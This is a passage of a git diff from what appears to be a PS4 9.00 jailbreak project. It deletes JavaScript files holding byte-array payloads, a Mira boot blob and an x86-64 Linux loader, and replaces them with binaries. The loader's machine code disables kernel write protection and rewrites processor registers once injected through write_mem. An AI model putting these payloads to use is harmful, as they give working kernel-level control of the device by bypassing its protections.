0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,83,99,101,83,121,115,67,111,114,101,82,101,98,111,111,116,0,0,0,0,0,0,0,47,115,121,115,116,101,109,47,99,111,109,109,111,110,47,108,105,98,47,108,105,98,83,99,101,83,121,115,85,116,105,108,46,115,112,114,120,0,0,0,115,99,101,83,121,115,85,116,105,108,83,101,110,100,83,121,115,116,101,109,78,111,116,105,102,105,99,97,116,105,111,110,87,105,116,104,84,101,120,116,0,67,111,109,112,105,108,101,100,32,98,121,32,64,78,97,122,107,121,89,84,0,47,109,110,116,47,117,115,98,48,47,98,122,73,109,97,103,101,0,47,109,110,116,47,117,115,98,49,47,98,122,73,109,97,103,101,0,47,117,115,101,114,47,115,121,115,116,101,109,47,98,111,111,116,47,98,122,73,109,97,103,101,0,0,0,0,0,70,97,105,108,101,100,32,116,111,32,108,111,97,100,32,102,105,108,101,58,32,98,122,73,109,97,103,101,46,10,80,97,116,104,115,32,99,104,101,99,107,101,100,58,10,47,109,110,116,47,117,115,98,48,47,98,122,73,109,97,103,101,10,47,109,110,116,47,117,115,98,49,47,98,122,73,109,97,103,101,10,47,117,115,101,114,47,115,121,115,116,101,109,47,98,111,111,116,47,98,122,73,109,97,103,101,0,47,109,110,116,47,117,115,98,48,47,105,110,105,116,114,97,109,102,115,46,99,112,105,111,46,103,122,0,47,109,110,116,47,117,115,98,49,47,105,110,105,116,114,97,109,102,115,46,99,112,105,111,46,103,122,0,0,0,0,0,0,47,117,115,101,114,47,115,121,115,116,101,109,47,98,111,111,116,47,105,110,105,116,114,97,109,102,115,46,99,112,105,111,46,103,122,0,0,0,0,0,70,97,105,108,101,100,32,116,111,32,108,111,97,100,32,102,105,108,101,58,32,105,110,105,116,114,97,109,102,115,46,99,112,105,111,46,103,122,46,10,80,97,116,104,115,32,99,104,101,99,107,101,100,58,10,47,109,110,116,47,117,115,98,48,47,105,110,105,116,114,97,109,102,115,46,99,112,105,111,46,103,122,10,47,109,110,116,47,117,115,98,49,47,105,110,105,116,114,97,109,102,115,46,99,112,105,111,46,103,122,10,47,117,115,101,114,47,115,121,115,116,101,109,47,98,111,111,116,47,105,110,105,116,114,97,109,102,115,46,99,112,105,111,46,103,122,0,47,109,110,116,47,117,115,98,48,47,98,111,111,116,97,114,103,115,46,116,120,116,0,47,109,110,116,47,117,115,98,49,47,98,111,111,116,97,114,103,115,46,116,120,116,0,0,0,0,0,0,0,0,47,117,115,101,114,47,115,121,115,116,101,109,47,98,111,111,116,47,98,111,111,116,97,114,103,115,46,116,120,116,0,0,70,97,105,108,101,100,32,116,111,32,108,111,97,100,32,102,105,108,101,58,32,98,111,111,116,97,114,103,115,46,116,120,116,46,10,80,97,116,104,115,32,99,104,101,99,107,101,100,58,10,47,109,110,116,47,117,115,98,48,47,98,111,111,116,97,114,103,115,46,116,120,116,10,47,109,110,116,47,117,115,98,49,47,98,111,111,116,97,114,103,115,46,116,120,116,10,47,117,115,101,114,47,115,121,115,116,101,109,47,98,111,111,116,47,98,111,111,116,97,114,103,115,46,116,120,116,0,98,111,111,116,97,114,103,115,46,116,120,116,32,105,115,32,111,112,116,105,111,110,97,108,46,0,0,0,0,0,0,0,0,112,97,110,105,99,61,48,32,99,108,111,99,107,115,111,117,114,99,101,61,116,115,99,32,114,97,100,101,111,110,46,100,112,109,61,48,32,99,111,110,115,111,108,101,61,116,116,121,48,32,99,111,110,115,111,108,101,61,116,116,121,83,48,44,49,49,53,50,48,48,110,56,32,99,111,110,115,111,108,101,61,117,97,114,116,56,50,53,48,44,109,109,105,111,51,50,44,48,120,100,48,51,52,48,48,48,48,32,118,105,100,101,111,61,72,68,77,73,45,65,45,49,58,49,57,50,48,120,49,48,56,48,45,50,52,64,54,48,32,99,111,110,115,111,108,101,98,108,97,110,107,61,48,32,110,101,116,46,105,102,110,97,109,101,115,61,48,32,100,114,109,46,100,101,98,117,103,61,48,0,47,109,110,116,47,117,115,98,48,47,118,114,97,109,46,116,120,116,0,47,109,110,116,47,117,115,98,49,47,118,114,97,109,46,116,120,116,0,47,117,115,101,114,47,115,121,115,116,101,109,47,98,111,111,116,47,118,114,97,109,46,116,120,116,0,0,0,0,70,97,105,108,101,100,32,116,111,32,108,111,97,100,32,102,105,108,101,58,32,118,114,97,109,46,116,120,116,46,10,80,97,116,104,115,32,99,104,101,99,107,101,100,58,10,47,109,110,116,47,117,115,98,48,47,118,114,97,109,46,116,120,116,10,47,109,110,116,47,117,115,98,49,47,118,114,97,109,46,116,120,116,10,47,117,115,101,114,47,115,121,115,116,101,109,47,98,111,111,116,47,118,114,97,109,46,116,120,116,0,118,114,97,109,46,116,120,116,32,105,115,32,111,112,116,105,111,110,97,108,46,0]; - -window.mira_blob_2_len = 0x54a5; -window.mira_blob_2 = malloc(window.mira_blob_2_len); -write_mem(window.mira_blob_2, payload); diff --git a/900N/LinuxLoader5gb.bin b/900N/LinuxLoader5gb.bin new file mode 100644 index 0000000..6e0a190 Binary files /dev/null and b/900N/LinuxLoader5gb.bin differ diff --git a/900N/LinuxLoader5gb.js b/900N/LinuxLoader5gb.js deleted file mode 100644 index 8a0dcfc..0000000 --- a/900N/LinuxLoader5gb.js +++ /dev/null @@ -1,5 +0,0 @@ -var payload = [233,169,61,0,0,243,15,30,250,85,72,137,229,72,129,236,208,1,0,0,72,137,189,72,254,255,255,137,181,68,254,255,255,72,137,149,56,254,255,255,72,137,141,48,254,255,255,199,69,252,0,0,0,0,72,141,85,252,72,139,133,72,254,255,255,185,0,0,0,0,190,0,0,0,0,72,137,199,232,231,1,0,0,72,133,192,116,7,184,0,0,0,0,235,89,72,199,133,80,254,255,255,168,1,0,0,139,69,252,72,141,149,80,254,255,255,190,0,0,0,0,137,199,232,205,1,0,0,133,192,116,7,184,0,0,0,0,235,45,139,69,244,131,248,1,119,32,72,139,133,120,255,255,255,72,137,193,72,139,149,56,254,255,255,72,139,133,48,254,255,255,72,137,214,72,137,199,255,209,139,69,252,72,152,201,195,243,15,30,250,85,72,137,229,72,131,236,16,72,137,125,248,137,117,244,139,117,244,72,139,69,248,185,0,0,0,0,186,0,0,0,0,72,137,199,232,31,255,255,255,201,195,243,15,30,250,85,72,137,229,72,131,236,32,72,137,125,232,72,137,117,224,72,199,69,248,0,0,0,0,72,139,69,232,137,193,72,141,85,248,72,139,69,224,72,137,198,137,207,232,11,1,0,0,72,139,69,248,201,195,102,46,15,31,132,0,0,0,0,0,15,31,64,0,72,199,192,3,0,0,0,73,137,202,15,5,15,130,30,1,0,0,195,72,199,192,5,0,0,0,73,137,202,15,5,15,130,11,1,0,0,195,72,199,192,6,0,0,0,73,137,202,15,5,15,130,248,0,0,0,195,72,199,192,11,0,0,0,73,137,202,15,5,15,130,229,0,0,0,195,72,199,192,37,0,0,0,73,137,202,15,5,15,130,210,0,0,0,195,72,199,192,240,0,0,0,73,137,202,15,5,15,130,191,0,0,0,195,72,199,192,160,1,0,0,73,137,202,15,5,15,130,172,0,0,0,195,72,199,192,199,1,0,0,73,137,202,15,5,15,130,153,0,0,0,195,72,199,192,221,1,0,0,73,137,202,15,5,15,130,134,0,0,0,195,72,199,192,222,1,0,0,73,137,202,15,5,15,130,115,0,0,0,195,72,199,192,28,2,0,0,73,137,202,15,5,15,130,96,0,0,0,195,72,199,192,29,2,0,0,73,137,202,15,5,15,130,77,0,0,0,195,72,199,192,34,2,0,0,73,137,202,15,5,15,130,58,0,0,0,195,72,199,192,79,2,0,0,73,137,202,15,5,15,130,39,0,0,0,195,72,199,192,82,2,0,0,73,137,202,15,5,15,130,20,0,0,0,195,72,199,192,96,2,0,0,73,137,202,15,5,15,130,1,0,0,0,195,137,5,154,109,0,0,72,49,192,72,255,200,195,243,15,30,250,65,85,65,84,85,72,137,245,83,81,156,65,93,250,15,32,195,72,137,216,72,37,255,255,254,255,15,34,192,232,156,36,0,0,65,131,204,255,133,192,120,76,190,153,0,0,0,72,141,61,217,47,0,0,49,192,69,49,228,255,21,203,54,0,0,186,6,0,0,0,72,141,53,130,0,0,0,191,153,0,0,0,232,188,35,0,0,49,192,72,141,61,216,47,0,0,255,21,166,54,0,0,72,133,237,116,11,72,141,5,93,0,0,0,72,137,69,0,15,32,192,129,227,0,0,1,0,72,9,216,15,34,192,72,133,219,72,139,5,229,54,0,0,116,7,72,133,192,116,2,255,208,65,85,157,90,68,137,224,91,93,65,92,65,93,195,243,15,30,250,72,133,255,116,26,49,192,72,133,246,116,19,72,57,194,116,11,138,12,7,136,12,6,72,255,192,235,240,49,192,195,184,14,0,0,0,195,243,15,30,250,65,87,65,86,65,85,65,84,85,83,72,131,236,40,72,139,70,24,72,133,255,72,137,243,72,141,45,180,255,255,255,72,137,4,36,72,141,5,82,3,0,0,72,137,68,36,16,116,19,72,139,5,33,54,0,0,72,139,45,10,54,0,0,72,137,68,36,16,72,141,61,62,44,0,0,49,192,255,21,230,53,0,0,72,139,75,16,49,192,72,139,83,8,72,141,61,56,44,0,0,76,139,75,32,76,139,67,24,72,139,51,255,21,196,53,0,0,72,139,5,61,54,0,0,72,133,192,72,137,68,36,24,15,132,148,2,0,0,72,139,123,8,232,84,33,0,0,72,133,192,73,137,198,117,25,72,141,61,29,44,0,0,49,192,49,237,69,49,237,255,21,138,53,0,0,69,49,210,235,94,72,139,83,8,72,137,198,72,139,59,255,213,133,192,65,137,196,116,31,72,141,61,11,44,0,0,49,192,49,237,69,49,255,255,21,94,53,0,0,69,49,237,69,49,210,233,76,2,0,0,72,139,4,36,72,141,184,112,128,1,0,232,241,32,0,0,72,133,192,73,137,197,117,34,72,141,61,237,43,0,0,49,192,49,237,255,21,42,53,0,0,69,49,210,69,49,255,65,188,12,0,0,0,233,18,2,0,0,72,137,199,232,74,21,0,0,72,99,208,133,192,72,137,84,36,8,121,24,72,141,61,213,43,0,0,49,192,255,21,246,52,0,0,72,199,68,36,8,0,0,0,0,72,131,60,36,0,116,49,72,139,68,36,8,72,139,123,16,72,139,20,36,73,141,116,5,0,255,213,133,192,65,137,196,116,22,72,141,61,207,43,0,0,49,192,49,237,69,49,255,255,21,183,52,0,0,235,91,65,139,134,56,2,0,0,68,141,120,1,76,137,255,232,80,32,0,0,72,133,192,72,137,197,117,23,72,141,61,187,43,0,0,49,192,255,21,139,52,0,0,69,49,210,233,95,255,255,255,72,137,198,72,139,123,32,72,139,68,36,16,49,201,76,137,250,255,208,133,192,65,137,196,116,23,72,141,61,166,43,0,0,49,192,255,21,90,52,0,0,69,49,210,233,75,1,0,0,72,139,76,36,8,66,198,68,61,255,0,72,3,12,36,72,141,61,155,43,0,0,49,192,72,137,12,36,255,21,48,52,0,0,72,139,115,8,72,141,61,152,43,0,0,49,192,255,21,29,52,0,0,72,139,12,36,72,141,61,169,43,0,0,72,139,83,24,49,192,72,137,206,255,21,3,52,0,0,72,137,238,72,141,61,196,43,0,0,49,192,255,21,241,51,0,0,76,137,246,72,141,61,207,43,0,0,49,192,255,21,223,51,0,0,76,137,238,72,141,61,218,43,0,0,49,192,255,21,205,51,0,0,191,0,16,0,0,232,113,31,0,0,72,139,12,36,72,133,192,117,27,72,137,4,36,72,141,61,209,43,0,0,49,192,65,188,12,0,0,0,255,21,161,51,0,0,235,83,68,139,75,40,76,137,234,72,137,198,73,137,232,76,137,247,72,137,4,36,232,175,8,0,0,76,139,20,36,76,137,246,76,137,215,232,207,8,0,0,72,139,116,36,24,72,141,61,120,12,0,0,232,132,31,0,0,72,139,21,95,51,0,0,133,192,117,21,72,141,61,141,43,0,0,65,188,22,0,0,0,255,210,76,139,20,36,235,63,72,141,61,153,43,0,0,49,192,255,210,72,141,61,198,43,0,0,49,192,255,21,44,51,0,0,72,141,61,239,43,0,0,49,192,255,21,29,51,0,0,235,76,49,237,69,49,210,69,49,237,69,49,246,69,49,255,65,188,2,0,0,0,76,137,254,72,137,239,76,137,20,36,232,246,30,0,0,76,139,20,36,190,0,16,0,0,76,137,215,232,229,30,0,0,72,139,115,8,76,137,247,232,217,30,0,0,72,139,115,24,76,137,239,232,205,30,0,0,72,131,196,40,68,137,224,91,93,65,92,65,93,65,94,65,95,195,243,15,30,250,72,133,255,116,108,72,133,246,116,103,76,141,66,255,49,192,128,60,7,0,65,15,149,193,73,57,192,65,15,151,194,69,33,209,73,137,194,72,255,192,65,128,225,1,117,226,72,57,194,76,15,71,192,69,49,201,77,57,200,116,13,70,138,28,15,70,136,28,14,73,255,193,235,238,76,57,210,66,198,4,6,0,119,16,72,133,201,65,184,63,0,0,0,116,24,72,137,17,235,19,69,49,192,72,133,201,116,11,72,137,1,235,6,65,184,14,0,0,0,68,137,192,195,243,15,30,250,65,85,65,84,85,83,72,131,236,24,15,32,192,72,37,255,255,254,255,15,34,192,250,72,139,5,20,50,0,0,185,16,4,224,254,186,32,3,224,254,190,128,3,224,254,72,9,193,199,1,1,0,0,0,72,137,199,72,9,215,72,131,194,16,72,57,242,199,7,0,0,1,0,117,235,186,128,4,224,254,190,0,5,224,254,72,137,199,72,9,215,72,131,194,16,72,57,242,199,7,255,255,255,255,117,235,72,9,194,199,2,0,0,1,0,186,16,5,224,254,72,9,194,199,2,0,0,1,0,186,32,5,224,254,72,9,194,199,2,0,0,1,0,186,48,5,224,254,72,9,208,186,0,0,16,0,199,0,0,0,1,0,184,0,0,0,1,199,1,0,0,0,0,185,19,4,0,0,15,48,185,8,4,0,192,15,48,250,65,15,32,193,76,137,200,72,37,255,255,255,223,72,13,0,0,0,64,15,34,192,15,9,15,32,216,15,34,216,49,246,65,186,255,2,0,0,68,137,209,72,137,240,72,137,242,15,48,65,184,6,0,0,0,185,0,2,0,0,76,137,192,15,48,187,0,8,0,128,191,255,0,0,0,185,1,2,0,0,72,137,216,72,137,250,15,48,65,187,1,0,0,0,185,2,2,0,0,76,137,192,76,137,218,15,48,185,3,2,0,0,184,0,8,0,0,72,137,250,15,48,185,4,2,0,0,186,2,0,0,0,76,137,192,15,48,185,5,2,0,0,72,137,216,72,137,250,15,48,185,6,2,0,0,72,137,240,76,137,218,15,48,72,99,13,236,32,0,0,186,1,0,0,0,72,193,226,40,72,193,225,30,72,137,200,72,41,202,72,247,216,72,193,234,32,13,0,8,0,0,185,7,2,0,0,15,48,15,9,15,32,216,15,34,216,184,0,12,0,0,68,137,209,72,137,242,15,48,65,15,34,193,251,101,139,4,37,52,0,0,0,133,192,116,11,240,255,5,241,47,0,0,250,244,235,252,72,141,61,188,41,0,0,232,229,10,0,0,186,7,0,0,0,137,208,240,15,177,21,210,47,0,0,117,244,72,141,61,197,41,0,0,232,200,10,0,0,15,32,224,72,37,127,255,255,255,15,34,224,15,32,218,72,139,13,54,48,0,0,72,184,0,240,255,255,255,255,15,0,72,33,194,187,135,0,0,128,72,9,202,72,35,2,72,9,200,72,137,88,16,72,129,195,0,0,0,64,72,199,0,135,0,0,0,72,199,64,8,135,0,0,64,72,137,88,24,49,192,198,0,0,72,255,192,72,61,0,16,0,0,117,242,72,139,29,230,47,0,0,49,192,128,207,16,198,4,3,0,72,255,192,72,61,0,32,0,0,117,241,72,139,5,203,47,0,0,72,141,147,0,16,0,0,72,141,61,81,41,0,0,196,226,248,242,194,72,131,200,7,72,137,3,72,139,21,170,47,0,0,72,193,234,39,129,226,255,1,0,0,72,137,4,211,184,135,0,0,128,72,137,131,16,16,0,0,72,5,0,0,0,64,72,137,131,24,16,0,0,72,199,131,0,16,0,0,135,0,0,0,72,199,131,8,16,0,0,135,0,0,64,232,228,9,0,0,72,139,21,97,47,0,0,102,199,68,36,6,255,7,